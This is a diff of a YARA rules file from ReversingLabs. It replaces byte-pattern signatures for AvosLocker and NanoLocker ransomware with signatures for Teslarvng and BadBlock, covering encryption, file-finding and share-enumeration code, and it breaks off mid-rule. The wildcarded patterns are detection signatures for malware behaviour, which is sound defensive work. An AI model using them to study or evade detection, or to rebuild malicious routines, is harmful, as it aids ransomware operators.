 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -41868,97 +41881,127 @@ rule REVERSINGLABS_Win32_Ransomware_Avoslocker : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "AvosLocker"
+		tc_detection_name = "Teslarvng"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$encrypt_files_p1 = {
+            53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ??
+            ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? A8 ?? 00 00 A1 ?? ?? ?? ?? ?? ?? ?? ?? EC 56 57 50
+            8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? C9 89 4D ?? 89 4D ?? 8B 73 ?? 8B 43 ?? 89 75
+            ?? 89 45 ?? 3B F0 0F 84 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 06 8D 04 40 C1 E0 ?? 89 45
+            ?? 8B 04 02 8B 40 ?? 8B 30 3B F0 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? ?? ?? ?? ?? 3D ??
+            ?? ?? ?? 10 89 ?? ?? ?? ?? E3 ?? 00 0F 43 05 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ?? 33 C0
+            83 C9 ?? 66 89 45 ?? 89 4D ?? 8D 4D ?? 8B 47 ?? 40 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
+            ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? ?? 8B
+            C7 72 ?? 8B 07 FF 77 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 8D 95 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C9 68 ?? ?? ?? ?? 0F 10 00 0F 11 85
+            ?? ?? ?? ?? F3 0F 7E 40 ?? 83 4D ?? ?? 66 0F D6 45 ?? 66 89 08 8D 8D ?? ?? ?? ?? C7
+            40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ??
+            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 6A ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ??
+            6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 74 ?? 6A ?? 8D 4D ?? 51
+        }
+		$encrypt_files_p2 = {
+            FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ??
+            ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 8D
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ??
+            8B 41 ?? 89 45 ?? 83 78 ?? ?? 8B 48 ?? 89 4D ?? 72 ?? 8B 00 89 45 ?? C6 45 ?? ?? 33
+            C0 83 4D ?? ?? 8D 4D ?? 66 89 45 ?? 8B 47 ?? 40 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
+            ?? ?? 50 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7F ?? ?? 8B 47
+            ?? 72 ?? 8B 3F 50 57 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ??
+            8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 6A ?? 0F 43 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
+            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 74 ?? 6A ?? 8D 45
+            ?? 50 FF 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ??
+            ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 65 ?? ?? C6 45 ?? ?? 8D 4D ?? E8
+            ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? 8B 36 8B 4D ?? 8B 04 02 3B 70 ?? 0F 85 ?? ??
+            ?? ?? 8B 75 ?? 83 C6 ?? 89 75 ?? 3B 75 ?? 0F 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D
+            4B ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ??
+            ?? ?? 8B E5 5D 8B E3 5B C2
+        }
 		$find_files = {
-            53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? FF
-            B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89
-            9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? 80 F9
-            ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? ?? ??
-            ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? 74 ??
-            FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15
+            FF D6 83 F8 ?? 0F 85 ?? ?? ?? ?? 8D 43 ?? 50 BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 83 78 ?? ?? 72 ?? 8B 00 B2 ?? 8B C8 E8 ?? ?? ?? ?? C6
+            45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45
+            ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 0F 1F 40 ?? 8D 85 ?? ?? ?? ?? 50
+            FF B5 ?? ?? ?? ?? 33 C9 8B 85 ?? ?? ?? ?? 03 8D ?? ?? ?? ?? 83 D0 ?? 50 51 FF B5 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B C8 90 66 8B 31 66 3B 32 75 ?? 66 85 F6
+            74 ?? 66 8B 71 ?? 66 3B 72 ?? 75 ?? 83 C1 ?? 83 C2 ?? 66 85 F6 75 ?? 33 C9 EB ?? 1B
+            C9 83 C9 ?? 85 C9 74 ?? B9 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B
+            50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ??
+            85 C0 74 ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 51 3B 45 ?? 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 45
+            ?? ?? EB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 8B F0 C6 45 ?? ?? FF B5 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? FF D6 83 F8 ?? 0F
+            84 ?? ?? ?? ?? FF D6 8B D0
         }
-		$enum_resources = {
-            50 51 6A ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ??
-            ?? FF 75 ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? 57
-            E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 57 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 33 DB 39 5D ?? 76 ?? 8D 77 ?? 83 7E ?? ?? 0F 85 ?? ?? ?? ?? 83 7E
-            ?? ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 46 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 85
-            ?? ?? ?? ?? 39 46 ?? B9 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 8B D1 0F 45 56 ?? 8B C1 83
-            7E ?? ?? 0F 11 85 ?? ?? ?? ?? 0F 45 46 ?? 83 3E ?? 0F 28 05 ?? ?? ?? ?? 89 45 ?? 8B
-            C1 0F 45 06 83 7E ?? ?? 0F 11 45 ?? 89 45 ?? 8B C1 0F 28 05 ?? ?? ?? ?? 0F 45 46 ??
-            33 C9 0F 11 45 ?? 89 45 ?? 0F 28 05 ?? ?? ?? ?? 0F 11 45 ?? 8A 85 ?? ?? ?? ?? 30 84
-            0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? 52 FF 75 ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? FF 75 ??
-            FF 75 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 3E ?? 0F 84 ?? ?? ?? ?? FF 36 E8 ?? ?? ?? ??
-            59 83 F8 ?? 0F 86 ?? ?? ?? ?? 8B 06 80 78 ?? ?? 75 ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7
-            45 ?? ?? ?? ?? ?? 33 C0 66 C7 45 ?? ?? ?? C6 45 ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ??
-            8A 4D ?? EB ?? 8D 45 ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 59 FF 36 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 65 ?? ?? 50 51 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ??
-            C6 45 ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 83 4D ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? EB ?? B1 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ??
-            C6 45 ?? ?? 30 4C 05 ?? 40 83 F8 ?? 73 ?? 8A 4D ?? EB ?? 8D 45 ?? C6 45 ?? ?? 50 E8
-            ?? ?? ?? ?? 59 F7 46 ?? ?? ?? ?? ?? 74 ?? 8D 4E ?? E8 ?? ?? ?? ?? 43 83 C6 ?? 3B 5D
-            ?? 0F 82 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 75 ?? FF 15
+		$enum_shares_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? ?? ?? ?? ?? 45 FC 00 00 00 00 8D
+            75 ?? 83 7D ?? ?? 6A ?? 0F 43 75 ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 B8 ?? ?? ??
+            ?? 56 66 89 45 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 66 89
+            45 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D
+            45 ?? 50 57 FF 15 ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 45 ?? 89 7D ?? 50
+            8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 6A ?? 6A ?? 89 7D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 8E ?? ?? ?? ?? 83 7D ?? ?? 0F 87 ?? ?? ?? ??
+            83 7D ?? ?? 0F 86 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8B 75 ?? 0F
+            43 4D ?? 03 F1 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 0F 43
+            4D ?? 33 C0 66 89 45 ?? 8B C6 2B C1 89 4D ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45
+            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ??
+            ?? ?? ?? FF 75 ?? 8D 4D ?? 56 FF 75 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? 83 7D ??
+            ?? 8D 45 ?? 6A ?? 0F 43 45 ?? 51 8D 4D ?? 51 6A ?? 8D 4D ?? 51 6A ?? 50 FF 15 ?? ??
+            ?? ?? 85 C0 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 66
         }
-		$import_key = {
-            50 53 53 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
-            0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 50 68 ?? ??
-            ?? ?? FF D6 50 53 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B1 ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8B C3 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 30 8C 05 ?? ??
-            ?? ?? 40 83 F8 ?? 73 ?? 8A 8D ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 88 9D ?? ?? ?? ??
-            50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 0F 28 05 ?? ?? ?? ?? 59 0F 11 85 ?? ?? ?? ??
-            59 0F 28 05 ?? ?? ?? ?? 8B CB 0F 11 85 ?? ?? ?? ?? 66 C7 85 ?? ?? ?? ?? ?? ?? 88 9D
-            ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ?? 41 83 F9 ?? 72 ?? 88 9D ?? ?? ??
-            ?? FF D6 50 8D 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 36 8D 45 ?? 89 9D ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? FF 76 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B 8D ??
-            ?? ?? ?? 83 C4 ?? 8B D7 50 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            84 C0 75 ?? 0F 28 05 ?? ?? ?? ?? 8B CB 0F 11 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 0F 28 05 ?? ?? ?? ?? 0F 11 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 C7
-            85 ?? ?? ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? 30 84 0D ?? ?? ?? ?? 41 83
-            F9 ?? 72 ?? 8D 85 ?? ?? ?? ?? 88 9D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 8D 45 ?? 50 E8
-            ?? ?? ?? ?? 59 8D 4D ?? 85 C0 74 ?? 88 19 41 83 E8 ?? 75 ?? 39 9D ?? ?? ?? ?? 74 ??
-            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8
+		$enum_shares_p2 = {
+            0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ??
+            ?? 33 F6 8B 55 ?? 85 D2 0F 84 ?? ?? ?? ?? 33 FF 8B 4D ?? 8B 44 39 ?? 85 C0 74 ?? 3D
+            ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 14 39 33 C0 66 89 45 ?? 8B C2 C7 45 ?? ?? ?? ?? ??
+            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 48 ?? C7 45 ?? ?? ?? ?? ?? 89 4D ?? 66
+            8B 08 83 C0 ?? 66 85 C9 75 ?? 2B 45 ?? 8D 4D ?? D1 F8 50 52 E8 ?? ?? ?? ?? C6 45 ??
+            ?? 8B 45 ?? 3B 45 ?? 74 ?? 0F 10 45 ?? C7 40 ?? ?? ?? ?? ?? 0F 11 00 F3 0F 7E 45 ??
+            66 0F D6 40 ?? 33 C0 83 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45
+            ?? EB ?? 8D 4D ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ??
+            8B 55 ?? 46 83 C7 ?? 3B F2 0F 82 ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 3B 45 ?? 0F 84 ?? ??
+            ?? ?? FF 76 ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 46 ?? 83 7D ?? ??
+            8B 7D ?? 89 45 ?? 8D 45 ?? 0F 43 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? 89 45 ?? 83 FF ?? 73 ?? 0F 10 00 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11
+            85 ?? ?? ?? ?? EB ?? 8B F7 8D 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 83 CE ?? 3B F0 0F 47 F0
         }
-		$encrypt_files = {
-            50 51 51 FF B5 ?? ?? ?? ?? 51 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ??
-            ?? ?? 8B BD ?? ?? ?? ?? 57 89 BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 59 85 F6 0F 84 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B CE 85 C0 74 ?? C6 01 ?? 41 83 E8 ?? 75 ?? 8D 85 ?? ??
-            ?? ?? 50 E8 ?? ?? ?? ?? 59 83 C0 ?? 74 ?? 39 85 ?? ?? ?? ?? 72 ?? 50 8D 85 ?? ?? ??
-            ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? FF B5 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 83
-            C4 ?? E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 59 57 40 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 6A ?? FF B5 ?? ?? ?? ?? 6A
-            ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? D1 EF 6A ?? 5A 74 ??
-            8B 9D ?? ?? ?? ?? 4B 03 DE 8A 03 8A 0C 32 88 04 32 42 88 0B 4B 3B D7 72 ?? 8B 9D ??
-            ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 03 C3 56 50 E8 ?? ?? ?? ?? 03 DF 56
-            89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B B5 ?? ?? ??
-            ?? 47 81 C6 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 50 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 D2
-            B9 ?? ?? ?? ?? F7 F1 83 C4 ?? 40 3B F8 0F 82
+		$enum_shares_p3 = {
+            8D 46 ?? 50 E8 ?? ?? ?? ?? 8D 0C 7D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 51 FF 75 ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 89 B5 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 8B 7D
+            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 89 45 ??
+            3B F8 0F 84 ?? ?? ?? ?? 2B C7 C1 F8 ?? 69 F0 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 89 85 ??
+            ?? ?? ?? 8D 0C 76 89 45 ?? 8D 04 C8 89 45 ?? 8D 85 ?? ?? ?? ?? 89 45 ?? C6 45 ?? ??
+            0F 57 C0 8B B5 ?? ?? ?? ?? 66 0F D6 45 ?? C7 45 ?? ?? ?? ?? ?? 89 75 ?? 89 75 ?? 89
+            45 ?? C6 45 ?? ?? 66 90 57 8B CE E8 ?? ?? ?? ?? 83 C6 ?? 83 C7 ?? 89 75 ?? 3B 7D ??
+            75 ?? 89 75 ?? C6 45 ?? ?? 89 75 ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? 8D
+            85 ?? ?? ?? ?? 8B 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ??
+            E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? FF 76 ?? E8 ??
+            ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? EB ??
+            8B 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B 06 F0 FF 08 C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ??
+            ?? EB ?? 57 FF 15 ?? ?? ?? ?? 8B 75
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_resources) and ($find_files) and ($import_key) and ($encrypt_files)
+		uint16(0)==0x5A4D and ( all of ($enum_shares_p*)) and ($find_files) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Nanolocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Badblock : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects NanoLocker ransomware."
+		description = "Yara rule that detects BadBlock ransomware."
 		author = "ReversingLabs"
-		id = "a31dad2e-2738-527b-a6e9-322757e2ec30"
+		id = "a5afb7d6-4bc1-5465-a35d-fe40e7f11c3e"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.NanoLocker.yara#L1-L79"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "7fdb021f22d97bf8a00fd856ef913695a0d6fbaad1138b5a5cc2cc8768b130be"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BadBlock.yara#L1-L100"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "421e6a3772eeec6ef0cbb2427b7e044b450a2b2146cee2ca7d8c3a3a92918557"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -41966,79 +42009,97 @@ rule REVERSINGLABS_Win32_Ransomware_Nanolocker : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "NanoLocker"
+		tc_detection_name = "BadBlock"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_file_1 = {
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 05 ?? ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6
-            05 ?? ?? ?? ?? ?? 8D 3D ?? ?? ?? ?? 33 C9 C6 07 ?? 47 41 81 F9 ?? ?? ?? ?? 75 ?? C7
-            05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A
-            ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ??
-            ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0B C0 0F 84 ?? ?? ?? ?? 81 3D
-            ?? ?? ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 E8
-            ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 56 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 03 F0 46 8A 06 3C ?? 0F 85 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
-        }
-		$encrypt_file_2 = {
-            A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 81 3D ?? ?? ?? ??
-            ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 6A ??
